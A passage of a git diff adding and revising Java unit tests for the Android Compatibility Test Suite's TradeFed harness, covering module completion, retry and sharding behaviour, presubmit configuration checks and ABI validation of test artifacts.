+        assertEquals("[testRunEnded] wrong number of metadata collected",
+                1, receivedComponentsTestRunEnded.size());
+        assertEquals("[testRunEnded] wrong component metadata field received",
+                component, receivedComponentsTestRunEnded.get(0));
+        assertEquals("[testRunEnded] wrong number of module name collected",
+                1, receivedModuleNameTestRunEnded.size());
+        assertEquals(moduleName, receivedModuleNameTestRunEnded.get(0));
+        assertEquals("[testEnded] wrong number of module abi collected",
+                1, receivedAbiTestRunEnded.size());
+        assertEquals(mAbi, receivedAbiTestRunEnded.get(0));
+        // verify metadata was retrieved during testEnded callbacks
+        assertEquals("[testEnded] wrong number of metadata collected",
+                1, receivedComponentsTestEnded.size());
+        assertEquals("[testEnded] wrong component metadata field received",
+                component, receivedComponentsTestEnded.get(0));
+        assertEquals("[testEnded] wrong number of module name collected",
+                1, receivedModuleNameTestEnded.size());
+        assertEquals(moduleName, receivedModuleNameTestEnded.get(0));
+        assertEquals("[testEnded] wrong number of module abi collected",
+                1, receivedAbiTestEnded.size());
+        assertEquals(mAbi, receivedAbiTestEnded.get(0));
+    }
+
+    /**
+     * Simple tests running in one module that run some tests but not all of them.
+     */
+    @Test
+    public void testSingleModuleRun_incomplete() throws Exception {
+        final String moduleName = "moduleA";
+        final String mAbi = "arm64-v8a";
+        createConfig(mTestDir, moduleName, TEST_STUB, true, false, true, false);
+        EasyMock.expect(mMockDevice.getProperty("ro.product.cpu.abilist")).andReturn(mAbi);
+
+        mMockBuildInfo.addBuildAttribute(EasyMock.eq(CompatibilityBuildHelper.MODULE_IDS),
+                EasyMock.eq(AbiUtils.createId(mAbi, moduleName)));
+        EasyMock.expectLastCall();
+
+        EasyMock.replay(mMockDevice, mMockBuildInfo);
+        mReporter.invocationStarted(mContext);
+        mTest.run(mReporter);
+        mReporter.invocationEnded(500);
+        EasyMock.verify(mMockDevice, mMockBuildInfo);
+        IInvocationResult result = mReporter.getResult();
+        assertEquals(1, result.countResults(TestStatus.PASS));
+        assertEquals(1, result.countResults(TestStatus.FAIL));
+        // Module should not be seen as complete.
+        assertEquals(1, result.getModules().size());
+        assertEquals(0, result.getModuleCompleteCount());
+    }
+
+    /**
+     * Simple tests running in one module that should be marked complete since it runs all its
+     * tests after an internal retry (like InstrumentationTest).
+     * FIXME: Fix the expectation of this test
+     */
+    @Test
+    public void testSingleModuleRun_completeAfterInternalRetry() throws Exception {
+        final String moduleName = "moduleA";
+        final String mAbi = "arm64-v8a";
+        createConfig(mTestDir, moduleName, TEST_STUB, true, true, true, true);
+        EasyMock.expect(mMockDevice.getProperty("ro.product.cpu.abilist")).andReturn(mAbi);
+
+        mMockBuildInfo.addBuildAttribute(EasyMock.eq(CompatibilityBuildHelper.MODULE_IDS),
+                EasyMock.eq(AbiUtils.createId(mAbi, moduleName)));
+        EasyMock.expectLastCall();
+
+        EasyMock.replay(mMockDevice, mMockBuildInfo);
+        mReporter.invocationStarted(mContext);
+        mTest.run(mReporter);
+        mReporter.invocationEnded(500);
+        EasyMock.verify(mMockDevice, mMockBuildInfo);
+        IInvocationResult result = mReporter.getResult();
+        // FIXME: All tests should be marked as executed and not aggregating the count.
+        assertEquals(2, result.countResults(TestStatus.PASS));
+        assertEquals(1, result.countResults(TestStatus.FAIL));
+        // FIXME: Module should be complete since all its test have run.
+        assertEquals(1, result.getModules().size());
+        assertEquals(0, result.getModuleCompleteCount());
+    }
+
+    /**
+     * Simple tests running in one module that run some tests but not all of them, then we
+     * attempt to run it again and they still didn't run.
+     * FIXME: This test expectation needs to be fixed
+     */
+    @Test
+    public void testSingleModuleRun_incomplete_rerun_incomplete() throws Exception {
+        final String moduleName = "moduleA";
+        final String mAbi = "arm64-v8a";
+        createConfig(mTestDir, moduleName, TEST_STUB, true, false, true, false);
+        EasyMock.expect(mMockDevice.getProperty("ro.product.cpu.abilist")).andReturn(mAbi);
+
+        mMockBuildInfo.addBuildAttribute(EasyMock.eq(CompatibilityBuildHelper.MODULE_IDS),
+                EasyMock.eq(AbiUtils.createId(mAbi, moduleName)));
+        EasyMock.expectLastCall();
+
+        // extra calls for retry
+        EasyMock.expect(mMockDevice.getProperty("ro.build.fingerprint")).andReturn("fingerprint");
+        EasyMock.expect(mMockDevice.getProperty("ro.product.cpu.abilist")).andReturn(mAbi);
+        mMockBuildInfo.addBuildAttribute(EasyMock.eq(CompatibilityBuildHelper.MODULE_IDS),
+                EasyMock.eq(AbiUtils.createId(mAbi, moduleName)));
+        EasyMock.expectLastCall();
+        mMockBuildInfo.addBuildAttribute(EasyMock.eq("retry_command_line_args"),
+                EasyMock.eq(COMMAND_LINE));
+        EasyMock.expectLastCall();
+
+        EasyMock.replay(mMockDevice, mMockBuildInfo);
+        mReporter.invocationStarted(mContext);
+        mTest.run(mReporter);
+        mReporter.invocationEnded(500);
+
+        IInvocationResult result = mReporter.getResult();
+        assertEquals(1, result.countResults(TestStatus.PASS));
+        assertEquals(1, result.countResults(TestStatus.FAIL));
+        // Module should not be seen as complete.
+        assertEquals(0, result.getModuleCompleteCount());
+
+        // We re-run it
+        mReporter = new ResultReporter();
+        mTest = new CompatibilityTest() {
+            @Override
+            protected Set<String> getAbisForBuildTargetArch() {
+                Set<String> abis = new HashSet<>();
+                abis.add("arm64-v8a");
+                return abis;
+            }
+        };
+        mTest.setDevice(mMockDevice);
+        mTest.setBuild(mMockBuildInfo);
+        mTest.setInvocationContext(mContext);
+        OptionSetter setter = new OptionSetter(mTest, mReporter);
+        setter.setOptionValue("retry", "0");
+
+        mReporter.invocationStarted(mContext);
+        mTest.run(mReporter);
+        mReporter.invocationEnded(500);
+        EasyMock.verify(mMockDevice, mMockBuildInfo);
+
+        // Check retry results
+        result = mReporter.getResult();
+        // FIXME: We should only have 1 not_executed in the retry too. They should not aggregate
+        // from one run to another.
+        assertEquals(1, result.countResults(TestStatus.PASS));
+        assertEquals(1, result.countResults(TestStatus.FAIL));
+        // Module should not be seen as complete.
+        assertEquals(1, result.getModules().size());
+        assertEquals(0, result.getModuleCompleteCount());
+    }
+
+    /**
+     * Simple tests running in one module that run some tests but not all of them, we then attempt
+     * to retry run them and this time the not_executed is executed.
+     */
+    @Test
+    public void testSingleModuleRun_incomplete_rerun_complete() throws Exception {
+        final String moduleName = "moduleA";
+        final String mAbi = "arm64-v8a";
+        createConfig(mTestDir, moduleName, TEST_STUB, true, false, true, false);
+        EasyMock.expect(mMockDevice.getProperty("ro.product.cpu.abilist")).andReturn(mAbi);
+
+        mMockBuildInfo.addBuildAttribute(EasyMock.eq(CompatibilityBuildHelper.MODULE_IDS),
+                EasyMock.eq(AbiUtils.createId(mAbi, moduleName)));
+        EasyMock.expectLastCall();
+
+        // extra calls for retry
+        EasyMock.expect(mMockDevice.getProperty("ro.build.fingerprint")).andReturn("fingerprint");
+        EasyMock.expect(mMockDevice.getProperty("ro.product.cpu.abilist")).andReturn(mAbi);
+        mMockBuildInfo.addBuildAttribute(EasyMock.eq(CompatibilityBuildHelper.MODULE_IDS),
+                EasyMock.eq(AbiUtils.createId(mAbi, moduleName)));
+        EasyMock.expectLastCall();
+        mMockBuildInfo.addBuildAttribute(EasyMock.eq("retry_command_line_args"),
+                EasyMock.eq(COMMAND_LINE));
+        EasyMock.expectLastCall();
+
+        EasyMock.replay(mMockDevice, mMockBuildInfo);
+        mReporter.invocationStarted(mContext);
+        mTest.run(mReporter);
+        mReporter.invocationEnded(500);
+
+        IInvocationResult result = mReporter.getResult();
+        assertEquals(1, result.countResults(TestStatus.PASS));
+        assertEquals(1, result.countResults(TestStatus.FAIL));
+        // Module should not be seen as complete.
+        assertEquals(0, result.getModuleCompleteCount());
+
+        // We replace the config by one that runs all tests without failures.
+        createConfig(mTestDir, moduleName, TEST_STUB, true, true, false, false);
+        // Usually configs do not change during the same session so we clear the map to have
+        // the new version of the config.
+        ((ConfigurationFactory)ConfigurationFactory.getInstance()).clearMapConfig();
+
+        // We re-run it
+        mReporter = new ResultReporter();
+        mTest = new CompatibilityTest() {
+            @Override
+            protected Set<String> getAbisForBuildTargetArch() {
+                Set<String> abis = new HashSet<>();
+                abis.add("arm64-v8a");
+                return abis;
+            }
+        };
+        mTest.setDevice(mMockDevice);
+        mTest.setBuild(mMockBuildInfo);
+        mTest.setInvocationContext(mContext);
+        OptionSetter setter = new OptionSetter(mTest, mReporter);
+        setter.setOptionValue("retry", "0");
+
+        mReporter.invocationStarted(mContext);
+        mTest.run(mReporter);
+        mReporter.invocationEnded(500);
+        EasyMock.verify(mMockDevice, mMockBuildInfo);
+
+        // Check retry results
+        result = mReporter.getResult();
+        assertEquals(3, result.countResults(TestStatus.PASS));
+        assertEquals(0, result.countResults(TestStatus.FAIL));
+        // Module should be marked as complete after retry.
+        assertEquals(1, result.getModules().size());
+        assertEquals(1, result.getModuleCompleteCount());
+    }
+
+    // ***** Case for sharding interaction *****
+
+    /**
+     * Helper to create a shard listener with the original reporter as master.
+     */
+    private ITestInvocationListener getShardListener(ResultReporter masterReporter) {
+        List<ITestInvocationListener> shardListeners = new ArrayList<ITestInvocationListener>();
+        ShardListener origConfigListener = new ShardListener(masterReporter);
+        ResultReporter reporterClone = (ResultReporter) masterReporter.clone();
+        shardListeners.add(reporterClone);
+        shardListeners.add(origConfigListener);
+        ResultForwarder shard = new ResultForwarder(shardListeners);
+        return shard;
+    }
+
+    /**
+     * Helper Thread to run the IShardableTest.
+     */
+    private class ShardThread extends Thread {
+        private IRemoteTest mShardTest;
+        private ResultReporter mMasterReporter;
+        private IBuildInfo mBuild;
+        private ITestDevice mDevice;
+        private IInvocationContext mShardContext;
+
+        public ShardThread(IRemoteTest test, ResultReporter masterReporter, IBuildInfo build,
+                ITestDevice device, IInvocationContext context) {
+            mShardTest = test;
+            mMasterReporter = masterReporter;
+            mBuild = build;
+            mDevice = device;
+            mShardContext = context;
+        }
+
+        @Override
+        public void run() {
+            ITestInvocationListener listener = getShardListener(mMasterReporter);
+            ((IBuildReceiver)mShardTest).setBuild(mBuild);
+            ((IDeviceTest)mShardTest).setDevice(mDevice);
+            ((IInvocationContextReceiver)mShardTest).setInvocationContext(mContext);
+            listener.invocationStarted(mShardContext);
+            try {
+                mShardTest.run(listener);
+            } catch (DeviceNotAvailableException e) {
+                throw new RuntimeException(e);
+            } finally {
+                listener.invocationEnded(500);
+            }
+        }
+    }
+
+    /**
+     * Simple tests running in one module that should be marked complete when each shard run a test
+     * from the module. Each Module is going to run 1 pass 1 fail. 2 modules and 2 shards.
+     * Using the {@link CompatibilityTest#split()}.
+     */
+    @Test
+    public void testSingleModuleRun_sharded() throws Exception {
+        final String moduleName = "moduleA";
+        Set<String> abis = AbiUtils.getAbisForArch(SuiteInfo.TARGET_ARCH);
+        Iterator<String> ite = abis.iterator();
+        final String abi1 = ite.next();
+        final String abi2 = ite.next();
+        createConfig(mTestDir, moduleName, TEST_STUB_SHARDABLE, true, true, true, false);
+        EasyMock.expect(mMockDevice.getProperty("ro.product.cpu.abilist")).andReturn(
+                String.format("%s,%s", abi1, abi2));
+        mMockBuildInfo.addBuildAttribute(EasyMock.eq(CompatibilityBuildHelper.MODULE_IDS),
+                EasyMock.eq(AbiUtils.createId(abi1, moduleName) + ","
+                        + AbiUtils.createId(abi2, moduleName)));
+        EasyMock.expectLastCall();
+
+        EasyMock.replay(mMockDevice, mMockBuildInfo);
+
+        OptionSetter setter = new OptionSetter(mTest);
+        setter.setOptionValue("shards", "2");
+        List<IRemoteTest> tests = (List<IRemoteTest>) mTest.split();
+        // We expect 2 shards
+        assertEquals(2, tests.size());
+
+        List<ShardThread> threads = new ArrayList<>();
+        // Run all shards
+        for (IRemoteTest test : tests) {
+            ShardThread st = new ShardThread(test, mReporter, mMockBuildInfo, mMockDevice,
+                    mContext);
+            threads.add(st);
+            st.start();
+        }
+        for (ShardThread thread : threads) {
+            thread.join(5000);
+        }
+        // Allow some time for ResultReport to finalize the results coming from the threads.
+        boolean finalized = mReporter.waitForFinalized(2, TimeUnit.MINUTES);
+        assertTrue(finalized);
+        EasyMock.verify(mMockDevice, mMockBuildInfo);
+        // Check aggregated results to make sure it's consistent.
+        IInvocationResult result = mReporter.getResult();
+        assertEquals(4, result.countResults(TestStatus.PASS));
+        assertEquals(4, result.countResults(TestStatus.FAIL));
+        assertEquals(2, result.getModules().size());
+        assertEquals(2, result.getModuleCompleteCount());
+    }
+
+    /**
+     * Simple tests running in one module that should be marked incomplete when shards do not
+     * complete. Each shard is going to run 1 pass 1 fail 1 not_executed.
+     * Using the {@link CompatibilityTest#split()}.
+     */
+    @Test
+    public void testSingleModuleRun_sharded_incomplete() throws Exception {
+        final String moduleName = "moduleA";
+        Set<String> abis = AbiUtils.getAbisForArch(SuiteInfo.TARGET_ARCH);
+        Iterator<String> ite = abis.iterator();
+        final String abi1 = ite.next();
+        final String abi2 = ite.next();
+        createConfig(mTestDir, moduleName, TEST_STUB_SHARDABLE, true, false, true, false);
+        EasyMock.expect(mMockDevice.getProperty("ro.product.cpu.abilist")).andReturn(
+                String.format("%s,%s", abi1, abi2));
+        mMockBuildInfo.addBuildAttribute(EasyMock.eq(CompatibilityBuildHelper.MODULE_IDS),
+                EasyMock.eq(AbiUtils.createId(abi1, moduleName) + ","
+                        + AbiUtils.createId(abi2, moduleName)));
+        EasyMock.expectLastCall();
+
+        EasyMock.replay(mMockDevice, mMockBuildInfo);
+        OptionSetter setter = new OptionSetter(mTest);
+        setter.setOptionValue("shards", "2");
+        List<IRemoteTest> tests = (List<IRemoteTest>) mTest.split();
+        // We expect 2 shards
+        assertEquals(2, tests.size());
+
+        List<ShardThread> threads = new ArrayList<>();
+        // Run all shards
+        for (IRemoteTest test : tests) {
+            ShardThread st = new ShardThread(test, mReporter, mMockBuildInfo, mMockDevice,
+                    mContext);
+            threads.add(st);
+            st.start();
+        }
+        for (ShardThread thread : threads) {
+            thread.join(5000);
+        }
+        // Allow some time for ResultReport to finalize the results coming from the threads.
+        boolean finalized = mReporter.waitForFinalized(2, TimeUnit.MINUTES);
+        assertTrue(finalized);
+        EasyMock.verify(mMockDevice, mMockBuildInfo);
+        // Check aggregated results to make sure it's consistent.
+        IInvocationResult result = mReporter.getResult();
+        assertEquals(4, result.countResults(TestStatus.PASS));
+        assertEquals(4, result.countResults(TestStatus.FAIL));
+        assertEquals(2, result.getModules().size());
+        assertEquals(0, result.getModuleCompleteCount());
+    }
+
+    /**
+     * Simple tests running in one module that should be marked complete when each shard run a test
+     * from the module.
+     * We are going to run only one of the shard since IStrictShardable allows it.
+     * Using the {@link CompatibilityTest#getTestShard(int, int)}.
+     * FIXME: Fix expectation of this test.
+     */
+    @Test
+    public void testSingleModuleRun_sharded_getTestShard() throws Exception {
+        final String moduleName = "moduleA";
+        Set<String> abis = AbiUtils.getAbisForArch(SuiteInfo.TARGET_ARCH);
+        Iterator<String> ite = abis.iterator();
+        final String abi1 = ite.next();
+        final String abi2 = ite.next();
+        createConfig(mTestDir, moduleName, TEST_STUB_SHARDABLE, true, true, true, false);
+        EasyMock.expect(mMockDevice.getProperty("ro.product.cpu.abilist")).andReturn(
+                String.format("%s,%s", abi1, abi2));
+
+        String expectedAdd = AbiUtils.createId(abi1, moduleName) + ","
+                + AbiUtils.createId(abi2, moduleName);
+        mMockBuildInfo.addBuildAttribute(EasyMock.eq(CompatibilityBuildHelper.MODULE_IDS),
+                EasyMock.eq(expectedAdd));
+        EasyMock.expectLastCall();
+        mAttributes.put(CompatibilityBuildHelper.MODULE_IDS, expectedAdd);
+
+        EasyMock.replay(mMockDevice, mMockBuildInfo);
+
+        List<IRemoteTest> tests = new ArrayList<>();
+        tests.add(mTest.getTestShard(3, 0));
+        // We are only running one of the shards since they should be independent.
+        assertEquals(1, tests.size());
+
+        ((IBuildReceiver)tests.get(0)).setBuild(mMockBuildInfo);
+        ((IDeviceTest)tests.get(0)).setDevice(mMockDevice);
+        ((IInvocationContextReceiver)tests.get(0)).setInvocationContext(mContext);
+        mReporter.invocationStarted(mContext);
+        try {
+            tests.get(0).run(mReporter);
+        } catch (DeviceNotAvailableException e) {
+            throw new RuntimeException(e);
+        } finally {
+            mReporter.invocationEnded(500);
+        }
+        EasyMock.verify(mMockDevice, mMockBuildInfo);
+
+        IInvocationResult result = mReporter.getResult();
+        assertEquals(2, result.countResults(TestStatus.PASS));
+        assertEquals(2, result.countResults(TestStatus.FAIL));
+        // FIXME: Only one module should be expected since within the one shard requested to run
+        // only one module existed.
+        assertEquals(2, result.getModules().size());
+        // FIXME: The module for the shard should be completed since all tests run.
+        // TestRunHandler in this case create an expectation of 3 testRunStarted just because of
+        // the number of shards.
+        assertEquals(0, result.getModuleCompleteCount());
+    }
+}
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/PresubmitSetupValidation.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/PresubmitSetupValidation.java
new file mode 100644
index 0000000..4eb48fc
--- /dev/null
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/PresubmitSetupValidation.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.presubmit;
+
+import com.android.tradefed.config.ConfigurationException;
+import com.android.tradefed.config.ConfigurationFactory;
+import com.android.tradefed.config.IConfigurationFactory;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import junit.framework.TestCase;
+
+/**
+ * Tests that validate the CTS presubmit setup to ensure no CL will break the presubmit setup
+ * itself.
+ */
+public class PresubmitSetupValidation extends TestCase {
+    private static final String PRESUBMIT_CTS_UNIT_TESTS = "cts-unit-tests";
+
+    /**
+     * Test that the base cts unit tests configuration is still working, and has a reporter
+     * template placeholder.
+     */
+    public void testCtsPresubmit_unit_tests() {
+        IConfigurationFactory factory = ConfigurationFactory.getInstance();
+        String[] presubmitCommand = {PRESUBMIT_CTS_UNIT_TESTS, "--template:map", "reporters=empty"};
+        try {
+            factory.createConfigurationFromArgs(presubmitCommand);
+        } catch (ConfigurationException e) {
+            CLog.e(e);
+            fail(String.format("ConfigException '%s': One of your change is breaking the presubmit "
+                    + "CTS unit tests configuration.", e.getMessage()));
+        }
+    }
+
+    /**
+     * Test to ensure that Zip dependency on the Apache Commons Compress coming from TradeFed is
+     * properly setup. This dependency is required for some utilities of TradeFed to work.
+     */
+    public void testDependencyCommonsCompress() throws Exception {
+        ClassLoader loader = ClassLoader.getSystemClassLoader();
+        // This will throw an exception if dependency isn't met.
+        loader.loadClass("org.apache.commons.compress.archivers.zip.ZipFile");
+    }
+}
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
new file mode 100644
index 0000000..fea023c
--- /dev/null
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
@@ -0,0 +1,170 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.presubmit;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import com.android.compatibility.SuiteInfo;
+import com.android.tradefed.util.AaptParser;
+import com.android.tradefed.util.AbiUtils;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.File;
+import java.io.FilenameFilter;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+/**
+ * Tests to validate that the build is containing usable test artifact.
+ */
+@RunWith(JUnit4.class)
+public class ValidateTestsAbi {
+
+    /**
+     *  This particular module is shipping all it's dependencies in all abis with prebuilt stuff.
+     *  Excluding it for now to have the test setup.
+     */
+    private static final String MODULE_EXCEPTION = "CtsSplitApp";
+
+    private static final Set<String> BINARY_EXCEPTIONS = new HashSet<>();
+    static {
+        /**
+         * This binary is a host side helper, so we do not need to check it.
+         */
+        BINARY_EXCEPTIONS.add("sepolicy-analyze");
+    }
+
+    /**
+     * Test that all apks have the same supported abis.
+     * Sometimes, if a module is missing LOCAL_MULTILIB := both, we will end up with only one of
+     * the two abis required and the second one will fail.
+     */
+    @Test
+    public void testApksAbis() {
+        String ctsRoot = System.getProperty("CTS_ROOT");
+        File testcases = new File(ctsRoot, "/android-cts/testcases/");
+        if (!testcases.exists()) {
+            fail(String.format("%s does not exists", testcases));
+            return;
+        }
+        File[] listApks = testcases.listFiles(new FilenameFilter() {
+            @Override
+            public boolean accept(File dir, String name) {
+                if (name.startsWith(MODULE_EXCEPTION)) {
+                    return false;
+                }
+                if (name.endsWith(".apk")) {
+                    return true;
+                }
+                return false;
+            }
+        });
+        assertTrue(listApks.length > 0);
+        int maxAbi = 0;
+        Map<String, Integer> apkToAbi = new HashMap<>();
+
+        for (File testApk : listApks) {
+            AaptParser result = AaptParser.parse(testApk);
+            // We only check the apk that have native code
+            if (!result.getNativeCode().isEmpty()) {
+                List<String> supportedAbiApk = result.getNativeCode();
+                Set<String> buildTarget = AbiUtils.getAbisForArch(SuiteInfo.TARGET_ARCH);
+                // first check, all the abis are supported
+                for (String abi : supportedAbiApk) {
+                    if (!buildTarget.contains(abi)) {
+                        fail(String.format("apk %s %s does not support our abis [%s]",
+                                testApk.getName(), supportedAbiApk, buildTarget));
+                    }
+                }
+                apkToAbi.put(testApk.getName(), supportedAbiApk.size());
+                maxAbi = Math.max(maxAbi, supportedAbiApk.size());
+            }
+        }
+
+        // We do a second pass to make sure nobody is short on abi
+        for (Entry<String, Integer> apk : apkToAbi.entrySet()) {
+            if (apk.getValue() < maxAbi) {
+                fail(String.format("apk %s only has %s abi when it should have %s", apk.getKey(),
+                        apk.getValue(), maxAbi));
+            }
+        }
+    }
+
+    /**
+     * Test that when CTS has multiple abis, we have binary for each ABI. In this case the abi will
+     * be the same with different bitness (only case supported by build system).
+     * <p/>
+     * If there is only one bitness, then we check that it's the right one.
+     */
+    @Test
+    public void testBinariesAbis() {
+        String ctsRoot = System.getProperty("CTS_ROOT");
+        File testcases = new File(ctsRoot, "/android-cts/testcases/");
+        if (!testcases.exists()) {
+            fail(String.format("%s does not exist", testcases));
+            return;
+        }
+        String[] listBinaries = testcases.list(new FilenameFilter() {
+            @Override
+            public boolean accept(File dir, String name) {
+                if (name.contains(".")) {
+                    return false;
+                }
+                if (BINARY_EXCEPTIONS.contains(name)) {
+                    return false;
+                }
+                File file = new File(dir, name);
+                if (file.isDirectory()) {
+                    return false;
+                }
+                if (!file.canExecute()) {
+                    return false;
+                }
+                return true;
+            }
+        });
+        assertTrue(listBinaries.length > 0);
+        List<String> orderedList = Arrays.asList(listBinaries);
+        // we sort to have binary starting with same name, next to each other. The last two
+        // characters of their name with be the bitness (32 or 64).
+        Collections.sort(orderedList);
+        Set<String> buildTarget = AbiUtils.getAbisForArch(SuiteInfo.TARGET_ARCH);
+        // We expect one binary per abi of CTS, they should be appended with 32 or 64
+        for (int i = 0; i < orderedList.size(); i=i + buildTarget.size()) {
+            List<String> subSet = orderedList.subList(i, i + buildTarget.size());
+            if (subSet.size() > 1) {
+                String base = subSet.get(0).substring(0, subSet.get(0).length() - 2);
+                for (int j = 0; j < subSet.size(); j++) {
+                    assertEquals(base, subSet.get(j).substring(0, subSet.get(j).length() - 2));
+                }
+            } else {
+                String bitness = AbiUtils.getBitness(buildTarget.iterator().next());
+                assertTrue(subSet.get(i).endsWith(bitness));
+            }
+        }
+    }
+}
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/result/ChecksumReporterTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/result/ChecksumReporterTest.java
index e08b002..23fcb9a 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/result/ChecksumReporterTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/result/ChecksumReporterTest.java
@@ -15,9 +15,7 @@
  */
 package com.android.compatibility.common.tradefed.result;
 
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildProvider;
-import com.android.compatibility.common.tradefed.result.ResultReporter;
 import com.android.compatibility.common.util.ChecksumReporter;
 import com.android.compatibility.common.util.ChecksumReporter.ChecksumValidationException;
 import com.android.compatibility.common.util.ICaseResult;
@@ -26,9 +24,10 @@
 import com.android.compatibility.common.util.ITestResult;
 import com.android.compatibility.common.util.ReportLog;
 import com.android.compatibility.common.util.TestStatus;
-import com.android.tradefed.build.BuildInfo;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.config.OptionSetter;
+import com.android.tradefed.invoker.IInvocationContext;
+import com.android.tradefed.invoker.InvocationContext;
 import com.android.tradefed.util.FileUtil;
 
 import junit.framework.TestCase;
@@ -37,6 +36,9 @@
 import java.io.FileWriter;
 import java.io.IOException;
 
+/**
+ * Unit tests for {@link ChecksumReporter}
+ */
 public class ChecksumReporterTest extends TestCase {
 
     private static final String ROOT_PROPERTY = "TESTS_ROOT";
@@ -46,13 +48,10 @@
     private static final String SUITE_PLAN = "cts";
     private static final String BASE_DIR_NAME = "android-tests";
     private static final String TESTCASES = "testcases";
-    private static final String DYNAMIC_CONFIG_URL = "";
-    private static final long START_TIME = 123456L;
 
     private ChecksumReporter mReporter;
     private File mRoot = null;
     private IBuildInfo mBuildInfo;
-    private CompatibilityBuildHelper mBuildHelper;
     private ReportLog mReportLog = null;
     private IInvocationResult mInvocationResult;
     private IModuleResult mModuleResult;
@@ -69,11 +68,28 @@
         System.setProperty(ROOT_PROPERTY, mRoot.getAbsolutePath());
 
         ResultReporter resultReporter = new ResultReporter();
-        OptionSetter setter = new OptionSetter(resultReporter);
-        mBuildInfo = new BuildInfo(BUILD_NUMBER, "", "");
-        mBuildHelper = new CompatibilityBuildHelper(mBuildInfo);
-        mBuildHelper.init(SUITE_PLAN, DYNAMIC_CONFIG_URL, START_TIME);
-        resultReporter.invocationStarted(mBuildInfo);
+        CompatibilityBuildProvider provider = new CompatibilityBuildProvider() {
+            @Override
+            protected String getSuiteInfoName() {
+                return SUITE_NAME;
+            }
+            @Override
+            protected String getSuiteInfoBuildNumber() {
+                return BUILD_NUMBER;
+            }
+            @Override
+            protected String getSuiteInfoVersion() {
+                return BUILD_NUMBER;
+            }
+        };
+        OptionSetter setter = new OptionSetter(provider);
+        setter.setOptionValue("plan", SUITE_PLAN);
+        setter.setOptionValue("dynamic-config-url", "");
+        mBuildInfo = provider.getBuild();
+        IInvocationContext context = new InvocationContext();
+        context.addDeviceBuildInfo("fakeDevice", mBuildInfo);
+
+        resultReporter.invocationStarted(context);
         mInvocationResult = resultReporter.getResult();
         mModuleResult = mInvocationResult.getOrCreateModule("Module-1");
         mModuleResult.setDone(true);
@@ -94,6 +110,7 @@
     @Override
     public void tearDown() throws Exception {
         mReporter = null;
+        FileUtil.recursiveDelete(mRoot);
     }
 
     public void testStoreAndRetrieveTestResults() {
@@ -119,8 +136,7 @@
                 mReporter.containsModuleResult(mModuleResult, fingerprint));
     }
 
-    public void testFileSerialization()
-            throws IOException, ClassNotFoundException, ChecksumValidationException {
+    public void testFileSerialization() throws IOException, ChecksumValidationException {
         mReporter.addInvocation(mInvocationResult);
 
         File file1 = new File(mRoot, "file1.txt");
@@ -162,7 +178,7 @@
             fileWriter.append("This is a test file added after crc calculated");
         }
         assertFalse("Should not contain file created after crc calculated",
-                mReporter.containsFile(file3, folderName));
+                mReporter.containsFile(file3, mRoot + "/"));
 
     }
 
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/result/ConsoleReporterTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/result/ConsoleReporterTest.java
index 942ae70..9102f1a 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/result/ConsoleReporterTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/result/ConsoleReporterTest.java
@@ -16,29 +16,20 @@
 
 package com.android.compatibility.common.tradefed.result;
 
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.compatibility.common.util.AbiUtils;
-import com.android.compatibility.common.util.ICaseResult;
-import com.android.compatibility.common.util.IInvocationResult;
-import com.android.compatibility.common.util.IModuleResult;
-import com.android.compatibility.common.util.ITestResult;
-import com.android.compatibility.common.util.TestStatus;
 import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.tradefed.build.BuildInfo;
-import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.config.OptionSetter;
-import com.android.tradefed.util.FileUtil;
+import com.android.tradefed.invoker.IInvocationContext;
+import com.android.tradefed.util.AbiUtils;
 
 import junit.framework.TestCase;
 
-import java.io.File;
